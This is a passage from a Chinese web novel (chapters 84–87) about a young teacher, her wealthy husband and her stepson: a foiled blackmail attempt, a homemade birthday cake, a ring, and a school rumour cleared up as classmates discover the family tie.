就在金苒以为是巧合,准备视之不见的时候,没想到对方不仅没有避开,反而主动朝她过来。 “苒苒,你说的事情我已经办好了。” 金苒原本准备后退的脚步顿住,眼底划过几丝不可置信。 什么事情?什么办好? 某个思绪从脑海翩跹而过,被猛地抓住。 所以,简总口中的金小姐,其实是指的她?! 第84章 第84章后座的专属位置 街边奶茶厅。 金苒收起手机,抬头看了一眼对面。 和上次“骚.扰”魏雅的时候不同,这次的简二仿佛变了个人似的,看着还是蠢,但又没有蠢到离谱。 她端起咖啡,不慌不急地抿了一口。 “我时间有限,有什么事情直接说吧。” 简二下意识想握住女人的手,却被金苒嫌弃地避开,他刚要发作,突然想起金苒反复叮嘱过他要低调行事,只得压下不满:“你当初说只要搞定江明羧,就一定帮我拿下简家,现在都半年了,什么时候兑现承诺?” 金苒手指一顿:“搞定江明羧?” “是你亲口说的,只要我愿意分手,让你胜过金静嫁给江明羧,就会把钱分我一半。” 虽然原话是等江明羧成为“首富”后,两人再想办法转移资金,而且当时他正好受够了金苒的脾气,所以佯装答应计划,实际是真正分手。 但眼下简二是绝对不会承认的,事有轻重缓急,老头子最近对他越来越冷淡,怕是动了换继承人的心思。 好在公司不是老头子一个人说了算,简二打算打点一下公司的其他董事,要不是因为此,他也不会直接找过来。 想到这,简二眼底闪过一丝阴鸷:“我知道江明羧的钱不好转移,这样吧,你先给我一笔钱,帮我渡过这次难关。” 金苒压下心底的震惊。 她只猜到原身有目的,没想到对方还拉了帮手,听意思原身是打算“吃干抹净”后再连锅端? 呵呵,倒是好大的一张脸。 本打算虚以委蛇,这会儿听了这些话,忽然不想再忍了:“抱歉,我听不懂你在说什么。” “你要反悔?”简二脸色一变,发现周围的人往这边望过来,不得不压低声音:“苒苒别闹了,你也不想我把事情告诉江明羧吧。” 他放下姿态,看似求和示弱,实则每一个字都是赤.裸.裸的威胁。 他期待看到金苒惶恐、不安、痛苦求饶,结果金苒根本不害怕,反而说:“可以试试。” “试什么?” “告诉江明羧啊,看他相信你还是相信我。” 金苒做作地瞪大眼睛:“怎么,你不会不敢吧,要不然我帮你打?” 言罢不等简二反应,就打开手机拨通了某个电话。 而简二就这样眼睁睁看着自己威胁的人,变成主动帮自己“威胁”的人。 就,很离谱。 更离谱的是,等电话接通后,江明羧在听完金苒矫揉造作地话后,不仅没有生气,反而非常对他说:“金苒现在是我太太,还请简少爷自重,不要再打扰我们夫妻。” 隔着电话,男人声音里的压迫让简二满头冷汗,喉结滑动了好几下,最后一个字也没有吐出来。 他双腿已然发颤。 / 江许黎跑出校门,却没有在约定好的地方看到金苒。 他不满地嘟囔了几句,准备给人打电话,突然看到女人从一家奶茶店里走出来,身后还跟着一个男的。 男的有点儿眼熟,江许黎眯起眼睛盯了半晌才隐约记起,发现对方好似是上次爬山时遇到的那个鞋拔子。 嗯,他后妈的某任前男友。 江许黎精神一下子激灵起来,第一反应给他爸打个电话,倒不是怀疑金苒,而是担心她被人欺负! 毕竟他记得鞋拔子爱好骚.扰女同志,当时骚.扰了一位女同志,现在返回头找金苒,肯定不怀好意。 可就在电话马上就要拨出去的前一刻,他又停了下来。 江许黎皱了皱眉,虽然他相信金苒不会做什么,但万一他爸误会呢?于是犹豫再三,还是放弃摇外援自己走过去。 离得有些远,一开始,江许黎只以为两人在单纯聊天,谁知刚靠近一点距离,刺耳的威胁声就传入耳中,江许黎一愣,随即便是怒火中烧。 在文承这一片,江许黎称第一,没人敢称第二,所以向来只有他让别人吃亏的份,哪有人敢在他面前造次?而金苒早被他划入自己的保护圈,欺负她就等同于挑衅他本人。 指节捏得咔咔作响,江许黎二话不说冲上前去,照着男人的脸就是狠狠一拳。 正在打苦情牌要钱的简二直接被打倒在地。 简二:??? 哪来的臭小子,发疯发到他头上了! 见状,金苒拉住江许黎的手就往人群里跑。 等简二反应过来,想要追上去的时候,两人早已经不见了踪影。 “操!” 偷鸡不成蚀把米的简二狠狠踢了一脚马路牙子。 他丝毫不反思自己的问题,反而把满腔怒火都归咎于金苒的\"欺骗\"。 这时候,一辆电动车在身后按了下喇叭,A市口音的行人大骂好狗不挡道,简二憋屈地挪到路里面。 满脑子都是被耍的愤怒,没有注意到,骑着电动车的两个人有点儿眼熟。 直到走远了,坐在后座的女人摘掉口罩,俨然是金苒那张精致漂亮的脸庞。 “噗嗤……” 她别过脸去,却还是没忍住笑出声来,纤白的手指攥紧了扶手,肩膀随着笑声轻轻抖动。 掌控着电动车方向,江许黎同样勾起嘴角,虽然这是他第一次骑电动车,但凭借娴熟的摩托车驾驶经验,操作起来倒是游刃有余。 两人谁都没有提刚才的事情。 不过以防再次遇到简二,江许黎并未立刻回学校,而是骑着电动车在附近兜圈,突然想起什么:“咳,我的礼物呢?” 金苒嗓音里还带着笑意:“你不是已经拿到了吗?” “嗯?” “这辆电动车就是啊,”金苒拍了拍少年的后背,笑意盈盈,“我特意查了,你过了生日就是十六岁,符合骑电动车的年龄标准。” 江许黎:“……” 不由得想起上次两人因为无证驾驶被交警拦下的狼狈场景。 在未满十八周岁前,摩托车是不能骑了,导致他最近出门只能蹭金苒的车,可金苒除了去学校外,并非时时和他顺路,如果有一辆电动车确 实能解决不少麻烦。 只不过…… 江许黎暗自皱眉,要是被那群小弟知道,堂堂校霸改骑电动车代步,自己在学校的威信怕是要大打折扣。 金苒欣赏了半天少年纠结的表情,佯装拖长声调叹了口气:“哎,原来你不喜欢啊,这可是我挑了好久才挑出来的新款,颜色还是我的幸运色呢……” “不是,没有不喜欢。” 江许黎回过神,听到女人失落的语气,几乎是不假思索地脱口而出:“我只是有点太惊喜。” 莫名的,他不想看到她失望的样子。 金苒嘴角翘起:“真的吗,那可太好了,开车还是太麻烦了,以后不开车的时候,接我放学就靠你和它了。” 明明是送给他的礼物,转眼间就被安排得明明白白。 江许黎耳尖悄悄红了,嘴上却还倔强:“谁说要接你了……” “哦?”金苒眨了眨眼,“难道你还想载别人?” 她想了想,恍然大悟,语气带着几分促狭,“要是有女朋友,我坐这个专属位置确实不太合适,小姑娘们最在意这些了……” “胡说什么!” 闻言,江许黎吓得差点从车上跳起来,“再说一遍我没有女朋友!” “哎呀,这么着急做什么,现在没有以后也会有的,我们作为家长很开朗的。” 年长了一岁的十六岁的少年,还是逃脱不了成为成年人当“玩具”的命运,最后,江许黎索性破罐子破摔:“让你坐就让你坐!就算…就算以后有…那个谁,也让你坐!” 当天傍晚放学时,金苒把私家车留在了学校停车场,理所当然地坐上了那辆崭新的电动车后座。 回到硕果湾,管家看到少爷的新坐骑,笑容慈祥和蔼,一点儿也没有露出,专门在车库里留了个位置。 又过了半小时,江明羧回来了。 西装革履,手中提着一个蛋糕。 金苒看到后欣喜地迎上去:“有我要的东西吗?” “嗯,都在里面。”江明羧垂眸,眼角漾开一丝几不可察的笑意,将蛋糕盒往她面前递了递。 “太好了,我找了好久都没有找到,江明羧你可太棒啦!” 不远处,江许黎原本还有些不好意思,故作矜持离得远远的,这会儿见两个大人谈论着什么的样子,没忍住靠近一点。 然后竟看到自己的蛋糕上一片空白。 江许黎:“?” 金苒拿出奶油罐,将香喷喷的奶油挤进裱花袋中,还兴致勃勃给父子俩人一人发了一个:“别人做的蛋糕哪里有亲手做的有意义,为了让孩子有一个难以忘记的生日,所以我决定亲手做一个蛋糕。” 江许黎:“……” 他指着除了没有图案什么都已经完成的蛋糕,一脸无语:“你管这个叫亲手做?” 金苒理所当然:“裱个花也是自己做啊,我可是连自己的生日都没有裱花呢。” 江许黎沉默了下,假意不在乎问道:“咳,我爸呢?” “他啊,生日的时候送了一件衣服,我记得当时也给你也买了啊。” 江许黎嘴角憋了憋,终于没有憋住扬起一个弧度,真是幼稚死了,看在心意的份上,算了,谁让他脾气好,就勉为其难陪她闹这一回。 话虽如此,裱花的袋子拿到手后,他比谁都兴奋,第一次做这样的事情,而且有家人陪着,心情激动又温暖:“画什么?要不随便写几个字吧,简单。” 那边,金苒拿出手机:“放心,图案我都找好了。” 说罢朝众人展示图案,一只肿眼泡的绿色青蛙,旁边写着两个大字:孤寡。 江许黎:“……” 他突然后悔答应地这么快了。 第85章 第85章这daddy可太棒了吧…… 一家三口,数学满分四百五,结果硬是凑不出一个画画好的。 最后看着雪白蛋糕上面糊成一团的深浅绿,江许黎不知是松了一口气还是两口气。 幸好看不出来! 然后在他的强烈要求下,“孤寡”两个字换成了“生日快乐”,看着总算是一个“正常”的蛋糕了。 七寸的蛋糕,不算大也不算小,三个人吃正合适。 不过在此之前,还有一道必不可少的环节。 金苒把客厅的灯光关掉,黑暗中,暖橘色的光晕明亮闪烁,落在江许黎的脸上,斑斑驳驳像坠入人间的星子:“来吧,寿星公的特权,吹蜡烛许愿。” 江许黎莫名有些紧张。 这并非他第一次做这样的事,以往和朋友庆生时,他们也会起哄让他许愿,可此刻的感觉,却和从前截然不同。 他闭上眼,停顿一瞬,又睁开,鼓起一口气吹灭了蜡烛。 “好了,切蛋糕吧。”他的语气有些不自在,匆忙伸手按亮客厅的灯,催着往下进行。 金苒眨了眨眼,忽然凑近:“哎,你许了什么愿?” 江许黎轻哼一声:“不能说,说出来就不灵了。” 说罢顺手接过女人手中的刀子,锋利的刀刃还是让他来比较稳妥。 动作利落地将蛋糕分得整齐,最大的一块推到金苒面前,第二大的给了江明羧,自己自然而然拿走了最小的那份。 看到他的选择,别说金苒,便是江明羧都有些被孝顺到了。 接受到旁边挤眉弄眼的暗示,江明羧眼底浮起一丝笑意,把准备的礼物拿出来。 一款RichardMille的手表。 男人送男人的礼物样式总是乏善可陈,实用得近乎刻板,腕表、钢笔、袖扣、定制衬衫,却又暗含着某种心照不宣的仪式感。 江明羧看着眼前几乎要赶上自己高的儿子,先是短暂的沉默了会儿。 他不是擅于表达的那种人,或许从小父母双亡,又或许耳濡目染的都是传统中国式家长的做派,每一次本该温情的时刻,最后都成了生硬的关心和严厉的管教。 无疑将父子两人推得更远。 “十六岁算是半个大人,”片刻后,江明羧开口,嗓音沉稳平静,“所以我不会干涉你对于自己事情的规划,但我希望是你在做每一个决定前,可以看一下这个表,别让冲动支配你的人生。” 这话出自这话出自一个在商海沉浮二十年的男人的经验,是一个父亲对于孩子最珍贵的生存法则,不求大富大贵,但求他每一步都走得清醒明白。 江许黎顿了顿,点头接过来。 诚然,江明羧不算一个好父亲,但其实他也不是一个坏父亲。 江许黎以前不明白,只觉得全世界自己最可怜,可当他暑假在明技实习过一段时间,在认识了诸如王萍萍那样的同龄人后,他的观念发生了改 变。 这世上从没有两全其美的事,有得便有失,父亲很少陪伴家人,却用这些时间在商界打拼,为下一代的他积累了丰厚的资本、和不断试错的资本。 “谢谢爸。” 这次的道谢比以往都真心实意。 金苒看着父子俩人一板一眼的交流,心里颇为无语。 好好生日会变得正经而严肃,不由得偷偷对着江明羧的胳膊一拧,后者身形骤然绷紧,轻咳几声:“不过十六岁距离成年还有两年,不用那么紧张,好好享受高中生活。” 他显然有些不适应说这样的话,语气生硬得像在念工作报告,说完还下意识整了整本就不乱的衬衫袖口。 金苒抿着嘴转过头去,生怕自己笑出声来。 无所不能的江总,也有不擅长短缺的领域。 或许有自己的劳动成果在里面,江许黎觉得这次的生日蛋糕格外的好吃。 晚上回到三楼卧室,收到朋友们发来的祝贺短信,以往他都是扫一眼就扔在一边,今天却破天荒地挨个回复。陈训良最了解他黎哥家情况,知道江叔叔忙于工作,不会给孩子过生日,直接发来邀约:【周末酒吧通宵?给你补过】 【到时候带个蛋糕去】消息后面还跟了个贱兮兮的表情包。 江许黎发了个问号过去:【蛋糕吃撑了,不想再吃了】 没等对方追问,又补了张照片:【你买的能比我亲手做的好吃?】配图是餐桌上那个被挖得七零八落的奶油蛋糕,绿色裱花歪歪扭扭,一看就是新手作品。 但陈训良还是在字里行间透着难得的炫耀意味。 他猛地发现,似乎不知道从什么时候开始,冷冰冰的黎哥,也变得鲜活有温度起来。 另一边,金苒和江明羧也没有在客厅停留太长时间。 依旧是金苒先去洗漱,温水漾过脖颈,白皙的肌肤被香皂的泡泡覆盖,轻轻揉搓.按摩,把自己腌得香喷喷的。 泡澡的时候小腹有点儿胀,痛感并不明显,但金苒还是没敢泡太久。 出来时,江明羧正坐在沙发上翻看书籍,他便是看书也和别人不同,坐姿背脊挺得笔直,双腿交叠,书页翻过簌簌作响,眉目间落下专注的痕迹。 只不过,忽略书籍封面的那几个“权倾朝野:摄政王的掌心娇”的字。 显然这书不会是金苒的,而是爱看小说的徐珍“借给”她的,金苒暂时没翻开,只是随手放在床边,等着作睡前读物。 “我洗完了,你去吧。” 江明羧放下手中的小说。 几次之后,他也习惯了浴室里那种香气萦绕的情况,不仅是浴室,整个卧室同样充斥着香味。 这种香味受日期和心情而随时变换,或者花香,或者果香,比如今天就是是睡莲花的味道,原因是金苒在往身上涂抹睡莲精油。 听到动静,头也没回道:“江明羧,我自己够不到,你来帮我一下。” 于是头发还滴着水,江明羧手上就接过一堆瓶瓶罐罐,按照要求将精油的于手心化开,轻轻贴在脊背揉开。 指腹带着温度,触之娇嫩肌肤,激起条件反射似的颤动,金苒下意识往旁边躲:“哎呀,痒!” 江明羧一顿,指尖带着粘稠的湿润,眸中是一片雪白的娇嫩。 随后听着抱怨,再次将手放上,沿着肩胛骨轮廓涂抹打圈,一缕湿发黏在手腕内侧,似缠似绕,他单手将那缕发丝别到她耳后,指尖在耳垂边缘停留了半秒,又若无其事地继续涂抹。 金苒趴在床上,看不到身后的情况,但能察觉到从刚才起便格外安静的气氛,以及后背那只忽轻忽重的手。 她心里明镜似的,但想到之前这个男人故作一本正经,而且有话不直说非要让她猜测的样子,她偏偏不如他的意。 装做什么都不懂,在对方用力时故意哼唧几声,如愿感觉到后背的停顿,她心中偷笑,表面不动声色起了一个话头:“你给小黎的礼物是什么时候准备的啊?” 两个人每天同床共枕,早在最开始,金苒就忍不住把自己买的礼物告诉对方,结果反过来,她连他什么时候准备的都不知道! 江明羧:“上个月,让王助理去买的。” 上个月…… 金苒很快在记忆中定位,那时候学校刚开学,江许黎没有化身点读机,天天在耳朵边提醒她不要忘记生日,而这个男人不用提醒就记得儿子的生日,还私下买了礼物。 “你怎么瞒着人啊?” 江明羧表情透出几分不解:“我没有瞒着,只是觉得没必要说。” 他准备生日礼物,就只是单纯准备礼物,不是做给外人看,也不是为了谋求孩子的感动。 和吃饭喝水一样稀疏平常,天经地义。 自然也不值得专门说出来。 金苒读懂了男人的潜台词,感慨的同时,又有点儿酸溜溜的,这份看重和用心,连她看了都有点儿嫉妒了。 忍不住道:“这个手表很贵吧?我之前看到教师群里有人发过这款,好像要六七位呢。” 江明羧不置可否,并说出一个更多的数字。 金苒:!!! 到底谁在说daddy不好的? 这daddy可太棒了吧! 金苒像条搁浅岸边的鱼,猛地回过头:“那个,我有个问题想问你。” “什么?” “你还缺孩子吗,要不然我给你当女儿吧,漂亮聪明会自己吃饭自己回家的那种。”金苒眨着卡姿兰大眼睛,满脸真诚。 三百万啊,一个手表三百万,多过几次生日,她还努力个der啊! 江明羧:“……” 男人眼睛眯起来,眸色沉沉,氲着化不开的墨色。 金苒翻过身,后背涂抹的精油尚未吸收,她便滚到他的腿上,仰着头看他,笑眯眯商量:“好不好嘛daddy,我可不和简二似的贪心,要把你所有的资产转移走,我只给你当女儿,每次生日给我三百万……哎呀!” 笑声没翻腾几下,人已经被翻了个面,那张伶牙俐齿的红唇被“咬”住。 一时重重的吮而吸,齿尖似重非重刻入软肉,那力道介于警告与亲昵之间,像是要让她记住这个教训,又舍不得真弄疼了她。 金苒半点儿不怕,犹还做死喊那个称呼,听着几个缠在舌尖的音,江明羧只觉得太阳穴直跳,脑海中突然浮现的是方才小说中的一句话。 女人,你在玩火。 / 窗外刮起了风。 未关严的缝隙漏进丝丝凉意,纱帘被风撩起,在昏暗的室内无声地飘荡。 气氛推到了那个顶点。 哪怕金苒不是故意的,但也的确“无意间”做了煽风点火的事情。 作为成年人,情到浓处发展点什么是很正常的事情,她坦然接受了接下来会发生的事情。 然后—— 江明羧身体突然僵住。 金苒先是不明所以,直到感觉温热的意思,脸色爆红——纯粹尴尬的:“额,怪不得有点儿肚子疼。” 江明羧深深呼吸一口气,绷着脸从床上起身:“我出去一下。” 金苒嘴唇嗫喏想说点什么,随后便眼睁睁看着男人进了浴室,于是顿时住了嘴。 咳咳,她还是不要煽风点火了。 本来年纪就大了,可别再憋坏。 当然这些话金苒打死也不会说出口,什么话可以说什么话不可以说她还是有数的,无他,唯有情商高尔。 后面听着浴室的水流声,她手放在腹部,困意渐渐袭来,索性今晚也做不了什么了,便躺到自己的那半张床打瞌睡。 半梦半醒之际,感受到一阵温热的气息靠近。 “伸手。”江明羧低沉的嗓音在耳边响起。 金苒不想睁眼,任由自己的手腕被托起,一丝微凉的触感滑过,无名指上突然多了个沉甸甸的东西。 “这是?” 金属的凉意让她终于舍得睁开眼,然后便看到左手上多出的戒指。 她怔住。 戴完戒指后,江明羧并没有松开手,他拉着她的手,指腹轻轻摩挲着银光之上的钻石,在他无名指上,有一枚同样款式的男戒。 “礼物。” 他平静道:“虽然是小黎的生日,但我想着小黎收到礼物时,你也应该有一份。” 第86章 第86章不能让金老师凭白受委屈…… 男人面对女人,尤其是有好感的女人,再是寡言的都变得甜言蜜语起来。 金苒哼了哼,想说谁答应要戴你的戒指的,可当她抬起手,看着纤细白皙的五指,铂金戒圈泛着柔和的冷光,将本就精致的手衬得赢白如玉。 中间镶嵌的钻石并不张扬,但也有黄豆大小,灯光下流转下,折射出 斑驳的闪耀。 她抿了抿唇,默默把到嘴边的话咽了回去。 算了,戴着就戴着吧,反正……也挺好看的。 前夜折腾得太晚的后果就是,第二天清晨金苒险些没能爬起来。 她整个人蜷在被窝里,脸颊泛着不自然的潮.红,江明羧系好领带回头时,发现女人又迷迷糊糊躺了回去。 他眉头一皱,伸手探向她的额头,触.手一片滚烫。 “苒苒?”江明羧轻轻推了推她,“哪里感觉不舒服?” 金苒其实早就醒了,只是头晕目眩得厉害,连声音都充斥着虚浮:“头好晕,还有点想吐。” 江明羧眉头蹙得更紧了:“你先躺着,我去拿体温计。” 金苒摇摇头,挣扎着要起身,“不行,今天学校那边还有课……” 话虽如此,但看她这幅样子,显然无法工作。 “让小黎帮你请假。” 这次江明羧不由分说地又把人按回床上。 很快,别墅的其他人都知道金苒生病了。 程管家匆忙取来医药箱,江明羧从中找到体温计后便返回卧室,江许黎默不作声地跟在后面。 走到门口时,见父亲没有阻拦的意思,立即快步跟了进去。 金苒果然有些发烧。 体温计显示37.3度,虽然不算严重,但正值生理期抵抗力下降,原本轻微的感冒症状被放大了不少,便显得格外难受。 江许黎看得着急:“怎么感冒了,昨天晚上不是还好好的吗。” 抢着吃蛋糕的时候,那手劲大的可是能一把把他推出去好几米。 少年目光如炬,忽然瞥见金苒颈间几处可疑的红痕,小声嘀咕:“难道是被蚊子咬的?” 闻言,金苒心虚地缩了缩。 她当然不敢承认是昨晚头发没干就胡闹的后果,转念一想又觉得这锅不该自己背,立刻朝江明羧甩去一记眼刀。 男人自知理亏,应下了比之威胁更像撒娇的视线。等电话联系魏漠问诊,确认只是普通感冒,又盯着金苒吃完药,嘱咐在家好好休息,他则带着江许黎出门上班上学。 说起来,自从金苒拿到驾校后,江许黎已经很久没有坐过江明羧的车。 他习惯性要去拉副驾驶的门,却被江明羧叫停:“坐后面吧。” 车门打开的瞬间,与清晨闷热迥然不同的凉爽风迎面而来,江明羧对司机要求:“温度调高两度,家里有人感冒了,别再有人生病让她操心。” 江许黎默默收回要去调风口的手,吐槽道:“她才不会操心,顶多嫌我体质差得像个小学生。” 江明羧闻言笑了下:“那正好,让她见识下真正的小学鸡体质。” 很奇怪。 江许黎想,他爸居然也会开玩笑。 他为自己发现了一个秘密而偷偷感到欣喜,在虞山见过亲生母亲后,那种被抛弃的痛苦一直如影随形,比之更甚的,是发现自己的出生似乎不被期待。 一度让江许黎怀疑自己是不是不值得被人喜欢。 但现在,这个问题似乎已经有了答案。 …… 或许有了话题可聊,同行的路程不再是一片死寂的安静,不过父子两人都是寡言的性格,后面安静下来,江许黎担忧金苒,便拿着手机刷感冒小贴士,看到什么感冒千万不要做的事情,立刻转发给金苒。 眨眼的功夫,车子到达学校。 下车前,江明羧提醒:“别忘了给她请假。” 江许黎点了点头,转脚先去了一趟教务处。 等他迈着步子走进三班教室的时候,发现今天的早自习和往常不太一样,平时这个点大家都在背书,如今却三三两两凑在一起小声议论,隐约还能听见“金老师”的字眼。 看到他出现的瞬间,又立刻闭了嘴,假装拿起课本读书。 江许黎皱了皱眉,但没有放在心上,径直走到最后排的位置坐上。 陈训良还没有来,周围的其他同学和江许黎不熟,也不敢多说什么,以至于江许黎直到第一节课间空,才知道了发生了什么。 “有人在论坛说金老师受贿,偏袒学生。” 王舒雅语气不好,这段时期她因为自己那点儿别扭的小心思,一直和江许黎保持距离,但不代表她讨厌江许黎,看到有人造谣江许黎和金老师,心里很是气愤。 见状,三班的其他同学也纷纷站出来。 之前他们犹豫,是看到了论坛上的照片,但实际上,他们更愿意相信朝夕相处中认识的那个同学和老师。 “江许黎,我们都相信你,金老师不是那样的人。” “对啊,金老师对每一个学生都很好,上次我饭卡里没钱,还是金老师请我吃的,难道我也贿赂金老师?!” “肯定是看不得我们班成绩进步,故意造谣!” 而江许黎从一开始的疑惑,到震惊,最后在看到学校论坛的帖子时,直接怒极反笑。 哪来的找死的,竟敢造他的谣言了。 那张被顶到首页的偷拍照格外清晰,彼时他从金苒车里下来的,弯腰凑近车窗的姿势,被刻意解读成了“偏袒学生”的污蔑。 江许黎回想了一下,当时的自己好像是被金苒给踹下车。 “……” 回过神,正好听到同学们焦急猜测:“金老师今天没有来,会不会是被他们举报辞职了!” 江许黎嘴角抽了抽,直言道:“放心好了,金老师只是生病请假。” 然后解释:“我和金老师住的比较近,所以才会经常蹭她的车,金老师从来没有收过什么贿赂,相反,之前的小奖品是金老师自掏腰包买的。” 听到这话,三班同学都羞愧地低下头。 金老师现在生病在家,要是知道这些谣言该多难过,他们非但没有坚定地维护她,反而因为那些谣言犹疑不定。 “这事不能就这么算了,”王舒雅猛地站起来,“我们得去找校长说清楚。” “对!不能让金老师凭白受委屈!” 最后,竟是整个三班的学生都要出动,还是江许黎站出来,表示这样更会产生影响,才说服众人只带着班长和纪律委员王舒雅出去。 路上,江许黎把论坛帖子发给了他爸。 虽然他觉得这事自己能解决,但事关金苒,怎么谨慎都不为过。 而且他一个继子都在忙里忙外,没道理亲老公置身事外。 / 校长见到一群学生找上门时,心里莫名咯噔一下。 等听完事情原委,更是印证了他的担忧——且不论江许黎的身份,单是牵扯到金苒这一点就足够让校长重视。 那位背后可是有人啊。 想着还在建的室内体育馆,校长当机立断采取行动。 先是让会技术的老师把帖子封掉,然后官方发布澄清声明,严厉批评了造谣行为,同时追查发帖人,虽然说出来很荒谬,但在校园监控和网络实名制的环境下隐私确实有限,很快那名学生就被找了出来。 出乎意料,最初发帖的学生并没有什么坏心思。 对方只是觉得俊男靓女站在一起养眼,所以才偷拍了几张照片,以至后续帖子的走向完全超出预期。 但做错事就是做错,这件事情结果是他被学校处分,公报批评。 那位学生平静地接受了处罚。 事后,他找到江许黎,深深地鞠了一躬:“不管你相不相信,一开始我真的只是分享,后面莫名贴子就歪了,给你带来困扰真的很抱歉。” 江许黎无动于衷。 他嗤笑:“你更应该向另外一个人道歉。” 帖子虽然牵扯到两个人,但明眼人都能看出,那些恶意造谣的内容全是针对金苒的。更“巧合”的是,污蔑偏偏选在金苒教师编制公示期刚过的时间点爆发,其用心之险恶不言而喻。 学生苦笑:“你说得对,我会向那位金老师亲自道歉。” 临走前,他想起自己那些无理由的怀疑,犹豫再三,还是决定说出来:“后来我仔细翻过帖子,发现有几个固定账号一直在带节奏,我向学校反映过了,但查出来的账号都是未实名,且IP地址都在校外。” 校外IP并不固定,加上未实名账号,追查起来难度很大。 江许黎直觉有些不对劲,可想了半天也没有想出到底哪里不对劲,只好把对方的话记在了心里。 这件事情到此初步落下帷幕。 毕竟没有造成什么真实的伤害,没有必要大张旗鼓追究,很快,在家休养的金苒也接到了学校的通知电话,校长委婉地表达了歉意,甚至提出可以给予一定的精神补 偿。 挂断电话后,金苒望着窗外思考。 其实早在入职时她就想过这种可能,当时她只是代课老师,怕自己的背景会引来流言蜚语,出于谨慎才选择了隐瞒。 而现在,她凭借真才实学通过了教师编的考核,又为学校争取到多项捐赠,“关系户”不再是她唯一的标签。 难道抛开所谓的后台,她就不是一个好老师了? 金苒的想法,在学校上课的江许黎一无所知。 眼睁睁看着论坛的帖子被封,三班的学生既高兴又自豪,这次“并肩作战”让他们关系更紧密了,得知金老师身体不适,班长和几个课代表商量着放学后去探望。 又因为大家已经知道江许黎和金老师“住得近”,于是直接找上了他。 “江许黎同学,放学后你带我们去探望金老师吧!” 面对同学们的请求,江许黎一时语塞。 他要怎么解释,住得近只是一个借口,真实情况是他和金苒住在同一个家里啊! 第87章 第87章江同学和金老师其实是亲…… 硕果湾。 约定好看望金苒后,班长就带着几人去买了果篮。 王舒雅提议再买一束鲜花,上次送的花束,他们都看得出金苒很喜欢,生病的时候看到喜欢的东西,想必心情会好些,而心情好了,病也能好得更快。 路上说说笑笑,气氛融洽得连个插话的空隙都没有。江许黎骑着电动车慢悠悠地跟在队伍最后,陈训良也跟着来了,这会儿偷偷在车后面絮叨,江许黎左耳朵进右耳朵出,内心仍抱着最后一丝打算,要是保安执意拦人,咳,正好,他可以名正言顺地“提前离场”。 结果想法很美妙,事情却与愿违,硕果湾的保安只是简单确认了几人的身份,便爽快放行。 江许黎:“……?” 缓缓敲出一个问号。 直到走进小区的王舒雅忍不住邀功:“还好我想到这一点,提前给金老师发了一条消息,知道金老师的地址,你们跟着我走就好了。” 又对着江许黎和陈训良道:“你们家是不是在附近,反正已经到了,要不然你俩先回去?” “呵,呵呵,我和你们一起去看金老师。” 江许黎扯扯嘴角,硬着头皮跟着众人去拜访“自己家”。 等到了地方,负责开门的程管家一眼就认出了人群中的江许黎,刚要开口,就被自家少爷一个眼神制止,虽然不明就里,但程管家还是选择配合,装作不认识的样子恭敬地将几位学生引进客厅,然后端上茶点招待。 “太太刚服完药正在休息,还不知道各位来访,请稍等片刻。” 班长和王舒雅几人早在进来时便看呆了。 这堪比宫殿似的别墅,让众人眼花缭乱又略显拘谨,听到管家的话连忙摆手:“不急不急,让老师好好休息最重要。” 程管家脸上的笑意更深了几分。他看得出来,太太这些学生都是真心实意,就连自家少爷听到太太在休息时,眉宇间也藏不住担忧。 面上应承,不过却没有听从几位学生的话,太太早就交代过,若有学生来访一定要叫醒她。 程管家转身上楼叫人,坐在沙发上的江许黎却是如坐针毡,如芒刺背,如鲠在喉。 他突然有些懊悔为什么要跟着回来?如果直接离开,哪还用担心身份暴露的危险。 胡思乱想之际,耳边听到王舒雅惊喜的声音:“金老师!” 江许黎抬起眼,看见金苒正缓步从楼梯上走下来,脸色带着病后的苍白,身上穿着米色家居服,比在学校时多了几分温婉的气质。 他不自觉地绷直了脊背,手指悄悄攥紧了沙发扶手,目光紧张地注视着金苒的一举一动,生怕她会在同学们面前露出什么破绽。 哪知金苒的目光始终没有落在他身上,只是温和地与每个学生打招呼,见状,江许黎的心底又莫名泛起一丝酸涩:看来她也不想让人知道他们的关系。 作为一枚曾经的学生,金苒也有过和同学去探望过老师的经历,如今身份调转,面对一张张担忧的面孔,她心中感动又熨帖,只表示自己属于小感冒,现在已经退烧了,又真诚感谢同学们带来的礼物,耐心回答着各种问题。 后面聊到课代表的事情,她狡黠地眨眨眼:“其实我已经选好了人选。” 金苒忽然回头,态度自然而然安排:“江许黎,可以帮我去书房拿一下蓝色的笔记本吗,我在上面写了课代表的人选。” 一瞬间,所有人的视线都朝左边望过去。 江许黎身体僵住。 金苒却仿佛什么都没有察觉,淡定道:“就在你爸爸的书桌上,我昨晚落在那里了。” 她笑了笑:“好歹是东道主,总不能让你同学去拿吧。” 学生们:“???” 什么意思,难道江同学和金老师其实是亲戚? 事实证明,他们猜得没有错,两人不止是亲戚,还是母子关系。 江许黎站起来,小声嘟囔:“谁让你又乱放东西。” 嘴上抱怨,动作却没有迟疑,红着耳朵任劳任怨去拿东西。 目睹全程的学生们:“……” 这还是他们班上那个寡言少语、生人勿近的江许黎? 一直到离开别墅,这些学生还有些恍惚。 他们手上提着程管家准备的小零食,婉拒了小孙开车送他们,站在街边安静如寂。 许久,王舒雅第一个开口,声音带着咬牙切齿:“江许黎真是瞒我们好惨啊!” 想到自己之前像防贼一样处处提防,生怕金老师对江许黎特殊关照,她就尴尬得脚趾抠地,什么少女心事,什么暗恋情怀,此刻全都化作了羞愤,恨不得当场挖个地洞钻进去。 班长也回过神:“可不是嘛,江同学这演技,不去当演员真是可惜了。” 再联想之前论坛帖子的内容,顿觉恍然大悟,这样一来,一切都解释明白了。 也不是生气,就是有种被蒙在鼓里的微妙感,感慨的同时又觉得稀奇。 陈训良咳了咳,忍不住为自家黎哥说话:“其实是巧合,黎哥也不知道金老师要去我们学校。” 话音未落,其他几人目光移过来。 王舒雅眯起眼睛:“你什么时候知道金老师和江许黎的关系?” “额……” 陈训良笑容裂开。 眼看糊弄不过去,他急中生智转移话题:“金老师刚才不是给了我们一个纸条吗,快看看上面写的什么。” 果然众人被转移注意力,王舒雅展开纸条,只见上面工整地写着两行字: 数学课代表:王舒雅。 她愣住。 陈训良探头看,一点儿也不意外:“黎哥虽然 成绩最好,但他不适合当课代表。” “为什么?”王舒雅不解。 那一瞬间,她甚至想了许多,比如金老师故意避嫌,比如自己只是捡了漏…… 陈训良可不知王舒雅复杂的心情:“我和黎哥早猜到金老师会选择你了,你数学成绩好,上课积极,金老师很喜欢你。” “可江许黎的成绩更好。” 陈训良一眼你这都看不懂的眼神:“课代表需要干什么?” “发作业收作业,帮老师传话。” 